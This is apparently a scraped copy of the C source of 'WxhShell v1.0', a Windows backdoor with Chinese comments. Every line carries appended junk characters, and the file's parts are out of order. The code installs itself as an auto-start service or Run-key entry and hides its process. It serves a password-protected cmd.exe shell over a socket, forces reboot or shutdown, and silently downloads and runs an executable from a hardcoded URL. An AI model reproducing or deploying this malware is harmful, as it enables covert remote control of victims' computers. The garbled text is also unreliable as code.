    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sZ_I?YDs  
    else { FX!Qd&kl1  
    closesocket(wsh); m@']%X*(,  
    ExitThread(0); ?<rZ9$  
    } T$sm}=  
    break; YU XxQ|  
    } x*p'm[Tdtm  
  // 获取shell N2 t`  
  case 's': { SmAii}-jf  
    CmdShell(wsh); kQp*+ras  
    closesocket(wsh); )NK#}c~5  
    ExitThread(0); :`>tCYy;  
    break; CzI s_/  
  } 2%| n}V[  
  // 退出 4+89 M  
  case 'x': { [_`@ V4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k;K-6<^h  
    CloseIt(wsh); 0+k..l  
    break; +R7pdi  
    } BSL+Gjj~}  
  // 离开 Q!r&vQ/g  
  case 'q': { `(/xj{"Fr}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pgs<Mo$\%B  
    closesocket(wsh); wD /jN:  
    WSACleanup(); +-T|ov<  
    exit(1); j`+{FCB7  
    break; sm{/S*3  
        } 7'gk=MQc  
  } I%b5a`7  
  } MdFFt:y:  
b`JS&E  
  // 提示信息 v4K! BW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WM%w_,Z  
} $KhD>4^ jL  
  } qDqy9u:g  
#guK&?Fye  
  return; "$P/ek  
} I%($,kd}s  
U5OFw+J  
// shell模块句柄 #M<YNuE#"  
int CmdShell(SOCKET sock) F'"-aB ~  
{ S;u.Ds&  
STARTUPINFO si; 4 9HP2E  
ZeroMemory(&si,sizeof(si)); qL <@PC.5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  vY"I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o2;Eti  
PROCESS_INFORMATION ProcessInfo; i'10qWz  
char cmdline[]="cmd"; Hy -)yR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {c~w Ms#  
  return 0; _~ 'MQ`P  
} H?FiZy*[Y  
s8 u`v1  
// 自身启动模式 tvBLfqIr  
int StartFromService(void) =*{7G*tS  
{ C+>mehDC_G  
typedef struct H0jbG;  
{ 2 6 >9$S  
  DWORD ExitStatus; &gr  T@  
  DWORD PebBaseAddress; p8"C`bCf  
  DWORD AffinityMask; cm!|A?-<  
  DWORD BasePriority; .l|29{J  
  ULONG UniqueProcessId; stMxlG"d  
  ULONG InheritedFromUniqueProcessId; tc{l?7P  
}   PROCESS_BASIC_INFORMATION; Ov4=!o=  
@$Yk#N;&(  
PROCNTQSIP NtQueryInformationProcess; {NcJL< ;tS  
4>2\{0r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O9m sPb:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zo("v*d*q  
I[b{*g2Zw  
  HANDLE             hProcess; F/,6Jh  
  PROCESS_BASIC_INFORMATION pbi; "kC6G%  
&ld<fa(w+2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rCsC}2O  
  if(NULL == hInst ) return 0; }@/Ox  
yMzy!b Ky  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qmb+%z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;JgSA&'e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EQk omjv  
-0BxZ AW=  
  if (!NtQueryInformationProcess) return 0; >DbG )0|  
2^"! p;WQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kw} E0uY  
  if(!hProcess) return 0; j+S&5C/{  
 *M$mAy<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }D`ZWTjDay  
 DZ4gp  
  CloseHandle(hProcess); e@]m@  
&y7=tEV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p!)PbSw#  
if(hProcess==NULL) return 0; 2pv by`P4  
:;TF_S v  
HMODULE hMod; /|#2ehE  
char procName[255]; ?"T!<L  
unsigned long cbNeeded; hN*v|LFf1  
_|4QrZ$n(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f="ZplW  
E{QjmlXQ<  
  CloseHandle(hProcess); +]GP"yv-  
q2OF-.rE  
if(strstr(procName,"services")) return 1; // 以服务启动 }}u`*&,g  
&;W K=#  
  return 0; // 注册表启动 B5h)F> &G  
} `sy_'`i>X  
L_|iQwU%  
// 主模块 gwsOw [;k  
int StartWxhshell(LPSTR lpCmdLine) O/$41mK+!  
{  >|gXE>  
  SOCKET wsl; 8r:T&)v  
BOOL val=TRUE; smn(q)tt  
  int port=0; 2yD ?f8P4  
  struct sockaddr_in door; DZLEx{cm  
?R4u>AHS@  
  if(wscfg.ws_autoins) Install(); ,\1Rf.  
N)a5~<fBG  
port=atoi(lpCmdLine); {?++T 0  
KY0<N 9{  
if(port<=0) port=wscfg.ws_port; &U CtyCz  
n5efHJU  
  WSADATA data; L?P[{Ohh/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^|vP").aQm  
Fp"c {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \VI0/G)L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /J Y6S  
  door.sin_family = AF_INET; 1}SON4U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k_Sm ep  
  door.sin_port = htons(port); 7q 5 \]J[  
?)-anoFyVW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?' mP`9I  
closesocket(wsl); W5()A,R  
return 1; f_;tFP B  
} ^^24a_+2  
d_f*'M2Gv  
  if(listen(wsl,2) == INVALID_SOCKET) { (&V)D?/hS  
closesocket(wsl); AAuwE&Gg  
return 1; cVarvueS  
} O3d Qno  
  Wxhshell(wsl); Eh|6{LDn!  
  WSACleanup(); 0r[a$p>`  
W>c*\)Xk !  
return 0; 7:=(yBG  
%F$ ]v  
} h/y0Q~|/d  
{w,<igh  
// 以NT服务方式启动 7|bBC+;(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aI}htb{m`  
{ FPZ@6  
DWORD   status = 0; ^ 5>W`vwp  
  DWORD   specificError = 0xfffffff; qI tbY%  
R%t|R7 9I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s ya!VF]`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y t_t>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KG96;l@'(  
  serviceStatus.dwWin32ExitCode     = 0; M\Wg|gpy  
  serviceStatus.dwServiceSpecificExitCode = 0; rTOex]@N  
  serviceStatus.dwCheckPoint       = 0; (9'q/qgTO  
  serviceStatus.dwWaitHint       = 0; ZEpu5`  
>* F#ZZv}p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \l# H#~  
  if (hServiceStatusHandle==0) return; %kH,Rl\g  
X'%BS  
status = GetLastError(); h Y *^rY'  
  if (status!=NO_ERROR) 6Bd:R}yZP7  
{ Uxe]T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }dqOE-"I"n  
    serviceStatus.dwCheckPoint       = 0; .vIRz-S  
    serviceStatus.dwWaitHint       = 0; &$#NV@  
    serviceStatus.dwWin32ExitCode     = status; 7s{['t  
    serviceStatus.dwServiceSpecificExitCode = specificError; }s#4m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '!4\H"t  
    return; (Hmhb}H  
  } y]!mN  
=%u=ma;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CSwB+yN  
  serviceStatus.dwCheckPoint       = 0; M:d|M|'  
  serviceStatus.dwWaitHint       = 0; mZ3Z8q}%P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &Ot9"Aq:  
} ,?%o ~  
YluvWHWi  
// 处理NT服务事件,比如:启动、停止 ]D^; Ca  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y[m*  
{ 4 'vjU6gW  
switch(fdwControl)  j~cG#t]  
{ gF;C% }  
case SERVICE_CONTROL_STOP: =BV_ ?  
  serviceStatus.dwWin32ExitCode = 0; s%m?Yh3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bHTTxZ-%  
  serviceStatus.dwCheckPoint   = 0; X)c0 y3hk  
  serviceStatus.dwWaitHint     = 0; -:Juxh  
  { 9`@}KnvB?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @)z?i  
  } e;"%h%'  
  return; )IIWXN2A  
case SERVICE_CONTROL_PAUSE: gy#G;9p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _?bF;R  
  break; EU Oa8Z  
case SERVICE_CONTROL_CONTINUE: YW8Odm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8)b*q\ O'  
  break; n2["Ln mO  
case SERVICE_CONTROL_INTERROGATE: Np.<&`p!  
  break; =~dXP  
}; K8QEHc:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g`"_+x'  
} M{Vi4ehOq  
3XUsw1,[  
// 标准应用程序主函数 9IacZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uw`J5TND  
{ 1vq c8lC  
w'mn O'%  
// 获取操作系统版本 78]( ZYJV  
OsIsNt=GetOsVer(); ' (3|hh)Tl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Oek$f,J-  
0Yr-Q;O<f  
  // 从命令行安装 OPv~1h<[  
  if(strpbrk(lpCmdLine,"iI")) Install(); u 1Wixjd|  
H~0B5Hl!F  
  // 下载执行文件 t-]~^s  
if(wscfg.ws_downexe) { xp\6,Jyh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h<!!r  
  WinExec(wscfg.ws_filenam,SW_HIDE); !\\1#:*_W  
} 3Z%jx#  
WxtB:7J  
if(!OsIsNt) { K#y CZ2  
// 如果时win9x,隐藏进程并且设置为注册表启动 zWF[cf>'  
HideProc(); q~xs4?n1U  
StartWxhshell(lpCmdLine); ^c){N-G  
} quq!Jswn  
else 8ROZ]Xh,x  
  if(StartFromService()) th{Ib@o  
  // 以服务方式启动 r#6djs1  
  StartServiceCtrlDispatcher(DispatchTable); 4X>=UO``L  
else LcHe5Bv%  
  // 普通方式启动 Wr4Ob*2iD  
  StartWxhshell(lpCmdLine); 8J2U UVA`1  
/86PqKU(P  
return 0; h]o{> |d9  
} i | *r/  
-TNb=2en(  
[>:9 #n  
8Tp!b %2.  
=========================================== In#m~nE[M  
[*Vo`WgbD  
V%FWZn^  
]sB%j@G  
a7la CHI  
:HH3=.qAp`  
" j$z!kd+%  
(Lkcx06e  
#include <stdio.h> mnq1WU;<  
#include <string.h> __-V_(/b,x  
#include <windows.h> !L@a;L  
#include <winsock2.h> *1U"uJno  
#include <winsvc.h> D<bH RtP  
#include <urlmon.h> l9{.~]V  
|vh{Kb@  
#pragma comment (lib, "Ws2_32.lib") ;n/04z  
#pragma comment (lib, "urlmon.lib") )zo:Bo .<  
R]TS5b-  
#define MAX_USER   100 // 最大客户端连接数 ?!n0N\|i]  
#define BUF_SOCK   200 // sock buffer NH8\&#}nAK  
#define KEY_BUFF   255 // 输入 buffer <e-hR$  
2nB{oF-Z  
#define REBOOT     0   // 重启 H+VjY MvK  
#define SHUTDOWN   1   // 关机 %9T|"\  
vu_ u\2d  
#define DEF_PORT   5000 // 监听端口 l}9E0^AS  
wf,w%n  
#define REG_LEN     16   // 注册表键长度 "> Y(0^^  
#define SVC_LEN     80   // NT服务名长度 U)qG]RI  
p9*Ak U&]  
// 从dll定义API Q^oB`)k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p+xjYU4^C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7)l+h Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "jP{m; p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =XZd_v  
b3+F~G-I"  
// wxhshell配置信息 c(lG_"q6  
struct WSCFG { vC-5_pl  
  int ws_port;         // 监听端口 %d#j%=  
  char ws_passstr[REG_LEN]; // 口令 <;zcz[~  
  int ws_autoins;       // 安装标记, 1=yes 0=no w(!COu  
  char ws_regname[REG_LEN]; // 注册表键名 * o#P)H  
  char ws_svcname[REG_LEN]; // 服务名 [^\HP] *Q{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _4X3g%nXl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  I8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E:$r" oS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OF1Qr bj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j>|mpfU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I?Q[ZH:M  
@-aMj  
}; QfI@=Kbg%#  
HD8*>p.  
// default Wxhshell configuration Rj])c^ZA'*  
struct WSCFG wscfg={DEF_PORT, !mu1e=bY>  
    "xuhuanlingzhe", U#kd cc|  
    1, ^eCMATE  
    "Wxhshell", ?0'db  
    "Wxhshell", )L$)qfQ~x  
            "WxhShell Service", =~'{2gsB  
    "Wrsky Windows CmdShell Service", o=I.i>c  
    "Please Input Your Password: ", q#P@,|nc:  
  1, n_P2l<F~/x  
  "http://www.wrsky.com/wxhshell.exe", *ZV=4[#bT  
  "Wxhshell.exe" +o}mV.&1,  
    }; ]Jx_bs~g  
=g$>]AE  
// 消息定义模块 }/.GB5Ej  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \@GKVssw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W=!di3IA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '2xfU  
char *msg_ws_ext="\n\rExit."; *.A{p ;JC(  
char *msg_ws_end="\n\rQuit."; ]"VxEpqhM  
char *msg_ws_boot="\n\rReboot..."; bt 0Q6v5  
char *msg_ws_poff="\n\rShutdown..."; ,];QzENw  
char *msg_ws_down="\n\rSave to "; W$Op/  
*dX 7  
char *msg_ws_err="\n\rErr!"; t4r%EP|Zt  
char *msg_ws_ok="\n\rOK!"; U6LENY+Ja  
oaM 3#QJ  
char ExeFile[MAX_PATH]; |HA1.Y=  
int nUser = 0; ,2Q5'!o  
HANDLE handles[MAX_USER]; "4/J4'-   
int OsIsNt; ,O 1/|Y  
b' fcWp0  
SERVICE_STATUS       serviceStatus; 2#xz,RM.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xA]}/*  
O <"\G!y~  
// 函数声明 N:&EFfg3  
int Install(void); >\ x!a:}  
int Uninstall(void); a0 8Wt  
int DownloadFile(char *sURL, SOCKET wsh); %p8#pt\$7  
int Boot(int flag); w)xfP^M#  
void HideProc(void); i 3i  
int GetOsVer(void); {6gY6X-R  
int Wxhshell(SOCKET wsl); Ql{:H5  
void TalkWithClient(void *cs); h0;R*c  
int CmdShell(SOCKET sock); Hm 17El68  
int StartFromService(void); 0{ !+N6MiR  
int StartWxhshell(LPSTR lpCmdLine); uxsi+vkI  
L_Lhmtm}m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @agxu-Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KU*XRZu)  
Q;y)6+VU4  
// 数据结构和表定义 3u~V&jl  
SERVICE_TABLE_ENTRY DispatchTable[] = %v, a3^Qu  
{ $`6Q\=*R/  
{wscfg.ws_svcname, NTServiceMain}, cOvdC4  
{NULL, NULL} s1%th"e [  
}; O("13cU  
8>a%L?BY  
// 自我安装 {P!1VYs5  
int Install(void) ?[c{pb ,|  
{ F$te5 ` a  
  char svExeFile[MAX_PATH]; 2dJP|T9H  
  HKEY key; 7L$\S[E  
  strcpy(svExeFile,ExeFile); \,-e>  
v&8s>~i`K  
// 如果是win9x系统,修改注册表设为自启动 #(G"ya  
if(!OsIsNt) { pRGag~h|E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sz+%4T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ANq3r(  
  RegCloseKey(key); GtpBd40"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -X_dY>>s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9|qzFmE#  
  RegCloseKey(key); rIQ%X`Y  
  return 0; *dPG[ }  
    } QHgkfo  
  } (e _l1O?  
} ^!*nhs%  
else { 8\Kpc;zb  
n'qWS/0U=  
// 如果是NT以上系统,安装为系统服务 BKk+<#Ti  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vX<^x2~9(  
if (schSCManager!=0) G?<uw RV  
{ ,j e  
  SC_HANDLE schService = CreateService f:KZP;/[c  
  ( \t?rHB3"  
  schSCManager, h8hyQd$!  
  wscfg.ws_svcname, <N,:w`g#  
  wscfg.ws_svcdisp, L-1#n  
  SERVICE_ALL_ACCESS, uo-1.[9ds  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eNu]K,rT  
  SERVICE_AUTO_START, V2 >+s y  
  SERVICE_ERROR_NORMAL, e>g>)!F  
  svExeFile, !v<` ^`x9I  
  NULL, - `{T?  
  NULL, }j;G`mV2  
  NULL, aI_[h v  
  NULL, "2z&9`VIY  
  NULL a7n`(}?Y  
  ); y_LFkZ  
  if (schService!=0) AwWo,Y399h  
  { __|Y59J%  
  CloseServiceHandle(schService); bkFO4OZd  
  CloseServiceHandle(schSCManager); N^f_hL|:9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r-$VPW  
  strcat(svExeFile,wscfg.ws_svcname); /_1q)`NYy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qFN`pe,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8,-U`.  
  RegCloseKey(key); K@tELYb  
  return 0; -S7i':  
    } O'h f8w  
  } dF$&fo%  
  CloseServiceHandle(schSCManager); pMd!Jl#(N  
} & X#6jTh+  
} r7-H`%.  
}h1y^fuGi  
return 1; QzS=oiL  
} mjKu\7F  
QB ; jZpF  
// 自我卸载 G124! ^  
int Uninstall(void) SA%uGkm:e  
{ TlD^EJG  
  HKEY key; OM?FpRVU8  
F+)g!NQZ  
if(!OsIsNt) { PFjh]/=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =HjC.h  
  RegDeleteValue(key,wscfg.ws_regname); 13fyg7^JP  
  RegCloseKey(key); /Xl(>^|&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pye/o  
  RegDeleteValue(key,wscfg.ws_regname); :QIf0*.O  
  RegCloseKey(key); Nr?CZFN#  
  return 0; +<bvh<]Od  
  } Cs2kbG_  
} lf#5X)V  
} = OzpI  
else { r6vI6|1  
~DP5Qi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IO7cRg'-F  
if (schSCManager!=0) lC@wCgc  
{ `*3;sq%`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x27$h)R0v  
  if (schService!=0) ;$3e pP  
  { T_[  
  if(DeleteService(schService)!=0) { y+h/jEbM</  
  CloseServiceHandle(schService); Yf_/c*t\5  
  CloseServiceHandle(schSCManager); -J>f,zA  
  return 0; d)GR]^=r  
  } 5E^P2Mlc  
  CloseServiceHandle(schService); (dwb{+HW  
  } RQU-]qQ8BM  
  CloseServiceHandle(schSCManager); !uP8powO  
} pZKK7   
} !m8T< LtMl  
2=,d.1E3d  
return 1; ;gLOd5*0  
} YmD~&J  
e[6Me[b  
// 从指定url下载文件 s9SUj^  
int DownloadFile(char *sURL, SOCKET wsh) E: Ul_m8  
{ e5(c,,/  
  HRESULT hr; .|0$?w  
char seps[]= "/"; ^%O$7*  
char *token; <Ok7 -:OxA  
char *file; }U?:al/m  
char myURL[MAX_PATH]; o1thGttVDg  
char myFILE[MAX_PATH]; [9yd29pQ]  
]e$n;tuW  
strcpy(myURL,sURL); 9<.8mW^68  
  token=strtok(myURL,seps); ?}HZJ@:lB  
  while(token!=NULL) G "ixw  
  { #'. '|z  
    file=token; ZB]234`0  
  token=strtok(NULL,seps); NR"C@3kD]o  
  } xVTl  
5b->pc  
GetCurrentDirectory(MAX_PATH,myFILE); -@Z9h)G|  
strcat(myFILE, "\\"); {4*5Z[  
strcat(myFILE, file); ' pIC~  
  send(wsh,myFILE,strlen(myFILE),0); {LT2^gy=  
send(wsh,"...",3,0); f#-\*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B<ZCuVWH:  
  if(hr==S_OK) D;z!C ys  
return 0; 9{0%M  
else c3WF!~1r  
return 1; i!eY"|o  
&%tW  
} oJ|m/i)  
G=l:v  
// 系统电源模块 xl Q]"sm1  
int Boot(int flag) }!"Cvu  
{ (dh9aR_a  
  HANDLE hToken; # )s +I2  
  TOKEN_PRIVILEGES tkp; iLNO}EUL  
O^8=Xj#}  
  if(OsIsNt) { (yoF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZCA= n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sGE %zCB  
    tkp.PrivilegeCount = 1; OW#G{#.6R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ";^_[n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Rd(,eWE@  
if(flag==REBOOT) { qDgy7kkQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) goNDS5}  
  return 0; bK{ VjXF  
} &'Xgf!x  
else { ?v`24p3PC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ilZQ/hOBH  
  return 0; {asq[;]  
} ` l %,4qR  
  } {REGoe=W%  
  else { >h.HW  
if(flag==REBOOT) { ;zd.KaS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GC_c.|'6[  
  return 0; )~`UDaj_  
} *?A!`JpJn  
else { nZM]EWn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]W5p\(1g  
  return 0; A\v53AT  
} OGO\u#  
} TaF;P GjVw  
 QB !%  
return 1; <U8w#dc  
} iiWpm E<,  
G-,0mo  
// win9x进程隐藏模块 OLV3.~T  
void HideProc(void) >CwI(vXn  
{ Eo6qC?5<  
$LcMG,8%_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b1G6'~U-  
  if ( hKernel != NULL ) '&$zgK9T?  
  { i 1Kq (7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \GKR(~f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1H-~+lf  
    FreeLibrary(hKernel); N#@v`S  
  } '8FHn~F  
 ?$y/b}8  
return; r]]:/pw?t  
} BK wo2=m~  
+|x%a2?x:  
// 获取操作系统版本 L(9AcP  
int GetOsVer(void) (*,R21<%  
{ 5Zmc3&vRl  
  OSVERSIONINFO winfo; TI\EkKu"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \rE] V,,2  
  GetVersionEx(&winfo); U#<{RqY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?mN!9/DIc  
  return 1; :^`WrcOJ  
  else FYb]9MX  
  return 0;  4,?beA  
} 'I:_}q  
Bwu?DK  
// 客户端句柄模块 IkxoW:L  
int Wxhshell(SOCKET wsl) `$FB[Z} &  
{ DghqSL ^s  
  SOCKET wsh; =NSunW!  
  struct sockaddr_in client; d(Hqj#`-31  
  DWORD myID; 0fK#:6  
(:h&c6'S)b  
  while(nUser<MAX_USER) =W>a~e]/  
{ F&B E+b/#  
  int nSize=sizeof(client); m=Mk@xfQ#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y=jZ8+M   
  if(wsh==INVALID_SOCKET) return 1; RD;A  
O^ 5C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;jO+<~YP!  
if(handles[nUser]==0) |;^$IZSsz  
  closesocket(wsh); lR mVeq:  
else [nlq(DGJhp  
  nUser++; K<%8.mZ7  
  } p["pGsf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fI'+4 )@x  
xMa9o  
  return 0; ~yV?*"Hi  
} 1=ZQRJW0B  
oel?we6  
// 关闭 socket ]24]id  
void CloseIt(SOCKET wsh) B\% Gp}  
{ G*~CB\K_  
closesocket(wsh); Xq"Es  
nUser--; 9l:[jsk<d  
ExitThread(0); BB ::zBg  
} ZwiXeD+4  
<*P)"G  
// 客户端请求句柄 }o\} qu*  
void TalkWithClient(void *cs) 6Q{OM:L/;.  
{ mS49l  
!D V0u)k(  
  SOCKET wsh=(SOCKET)cs; N P5K1:  
  char pwd[SVC_LEN]; .q!i +0  
  char cmd[KEY_BUFF]; H+@?K6{h  
char chr[1]; ~:|V,1  
int i,j; |cC&,8O:{  
m Ph=bG  
  while (nUser < MAX_USER) { "?FBbJ  
VuN#j<H  
if(wscfg.ws_passstr) { !f}D*8\f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KTAQ6k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2 zG;91^  
  //ZeroMemory(pwd,KEY_BUFF);  =WEDQ\ c  
      i=0; `.]oH1\  
  while(i<SVC_LEN) { nT(AO-Ue^  
@X9T"  
  // 设置超时 +Fh,!`  
  fd_set FdRead; 3II*NANeg  
  struct timeval TimeOut; I :bT"N  
  FD_ZERO(&FdRead); ^upd:q  
  FD_SET(wsh,&FdRead); ,f<J4U:Y  
  TimeOut.tv_sec=8; jM-5aj[K  
  TimeOut.tv_usec=0; H ]!P[?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;lt8~ea  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uD[T l  
09{s'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U!E}(9 tb  
  pwd=chr[0]; G]mD_J1$  
  if(chr[0]==0xd || chr[0]==0xa) { ULs'oT)K;  
  pwd=0; 2OqEyXh  
  break; |$+/IxDP  
  } @=Dc(5`[  
  i++; ?ef7%0  
    } yf-2E_yB  
(T&(PCw|  
  // 如果是非法用户,关闭 socket Ug4o2n0sk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Tev&J  
} C~. T[Mlu  
kjXwVGK=P<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s?4nR:ZC}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r`RLDN!`  
.RyuWh!5  
while(1) { 1=`VaS  
:h!'\9   
  ZeroMemory(cmd,KEY_BUFF); NW*#./WdF8  
qG9j}[d'  
      // 自动支持客户端 telnet标准   $D D esy3  
  j=0; /s+S\ djk  
  while(j<KEY_BUFF) { -"^xg"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Tc! =lk  
  cmd[j]=chr[0]; E}<i?;  
  if(chr[0]==0xa || chr[0]==0xd) { ~&+a.@T  
  cmd[j]=0; ?~]mOv>  
  break; F0kQ/x  
  } Ku3NE-)  
  j++; *$mb~k^R  
    } :U @L$  
|UcF%VNnz1  
  // 下载文件 7a.iT-*  
  if(strstr(cmd,"http://")) { f uH3C~u7<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nGTqW/k[+s  
  if(DownloadFile(cmd,wsh)) Fg2/rC:_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cn9=wm\\  
  else \z.p [;'ir  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?E;Yy A  
  } }MM:qR  
  else { 1O90 ]c0  
fECmELd  
    switch(cmd[0]) { = mhg@N4  
  +]Z *_?j9{  
  // 帮助 t Q>/1  
